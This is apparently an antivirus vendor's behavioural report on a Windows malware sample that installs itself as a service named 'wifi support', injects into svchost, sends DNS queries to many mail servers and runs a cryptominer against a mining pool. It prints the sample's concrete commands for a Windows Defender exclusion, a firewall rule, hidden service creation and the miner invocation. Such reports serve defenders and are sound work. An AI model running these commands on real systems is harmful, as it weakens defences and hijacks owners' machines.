Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\vpmrfsil] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vpmrfsil] 'ImagePath' = '%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\vpmrfsil] 'ImagePath' = '%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vpmrfsil' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\bjycpnww.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\bjycpnww.exe to %WINDIR%\syswow64\vpmrfsil\bjycpnww.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK google.com
- DNS ASK da######ng.mail.yale.edu
- DNS ASK ya##.edu
- DNS ASK cp#.pisa.it
- DNS ASK to##to.com
- DNS ASK be##########.mail.protection.outlook.com
- DNS ASK be###ell.com
- DNS ASK fa##.gov.au
- DNS ASK ma##.softub.nl
- DNS ASK so##ub.nl
- DNS ASK mx#.###725-72.iphmx.com
- DNS ASK po####.vic.gov.au
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK dp#.#ld.gov.au
- DNS ASK so####2.sohu.com
- DNS ASK ag####uanglaw.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK bl####nder.co.uk
- DNS ASK di########l1.msng.telstra.com.au
- DNS ASK cu###ms.gov.au
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK di##old.com
- DNS ASK ma##.soft.ua
- DNS ASK so#t.ua
- DNS ASK au#######nbound-1.mimecast.com
- DNS ASK gr###ith.edu.au
- DNS ASK ma####.#ewtekwebhosting.com
- DNS ASK am###trade.com
- DNS ASK ym##l.com
- DNS ASK ge#####.rockefeller.edu
- DNS ASK so###.com.ar
- DNS ASK al###a.usc.edu
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK mx###.s.uw.edu
- DNS ASK u.####ington.edu
- DNS ASK mx###.expurgate.de
- DNS ASK dp#.com
- DNS ASK ma####lay8.nmsu.edu
- DNS ASK nm##.edu
- DNS ASK bo####.splio.com
- DNS ASK sm###in.iol.it
- DNS ASK io#.it
- DNS ASK so###trak.com
- DNS ASK so##.com
- DNS ASK s1#.##stedmail.cc
- DNS ASK di####source.com.hk
- DNS ASK uo########.mail.protection.outlook.com
- DNS ASK uo##sc.edu
- DNS ASK po#####.domainstaff.com
- DNS ASK an##fe.com
- DNS ASK ap#.#r-cy.ru
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK me###t.ucla.edu
- DNS ASK em###.vccs.edu
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK us.#bm.com
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK co###oweb.com
- DNS ASK co###al.co.tz
- DNS ASK aspmx.l.google.com
- DNS ASK th####ngfolks.com
- DNS ASK ho######ternational.com.au
- DNS ASK li##ro.it
- DNS ASK mx.###.correos.es
- DNS ASK co##eos.es
- DNS ASK ma###.statefarm.com
- DNS ASK st###farm.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ba###est.com.au
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK mx.##ime.com.ar
- DNS ASK so###########-br.mail.protection.outlook.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ya##o.gr
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mx#.###l.yahoo.co.jp
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ya##o.co.jp
- DNS ASK mx#.#resnan.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK br##nan.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK sm####n.libero.it
- DNS ASK nj###.umdnj.edu
- DNS ASK co###tria.com
- DNS ASK ma#####.#umanservices.gov.au
- DNS ASK sm########dl21.scotiabank.com.mx
- DNS ASK ma##.#ccgmail.net
- DNS ASK rc###ail.net
- DNS ASK hh###up.com.au
- DNS ASK sm####n.inwind.it
- DNS ASK in##nd.it
- DNS ASK da###smyrna.com
- DNS ASK he####.hosts.co.uk
- DNS ASK bs####ersclub.co.uk
- DNS ASK pk########.mail.protection.outlook.com
- DNS ASK pk#.com.au
- DNS ASK mx#.####2-33.ap.iphmx.com
- DNS ASK na###nal.com.au
- DNS ASK ce####link.gov.au
- DNS ASK cu#######-2.in.mailcontrol.com
- DNS ASK so####ade.com.br
- DNS ASK sm###.gov.pe.ca
- DNS ASK go#.pe.ca
- DNS ASK un###ed.com.au
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK aa#.com
- DNS ASK sm##.tin.it
- DNS ASK ti#.it
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya###.com.ar
- DNS ASK ta###r.com.mx
- DNS ASK cl#######.us.messagelabs.com
- DNS ASK we###fargo.com
- DNS ASK ma##re.com
- DNS ASK is###ila.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\vpmrfsil\bjycpnww.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vpmrfsil\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bjycpnww.exe" %WINDIR%\SysWOW64\vpmrfsil\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create vpmrfsil binPath= "%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description vpmrfsil "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start vpmrfsil' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vpmrfsil\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bjycpnww.exe" %WINDIR%\SysWOW64\vpmrfsil\
- '%WINDIR%\syswow64\sc.exe' create vpmrfsil binPath= "%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description vpmrfsil "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start vpmrfsil
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
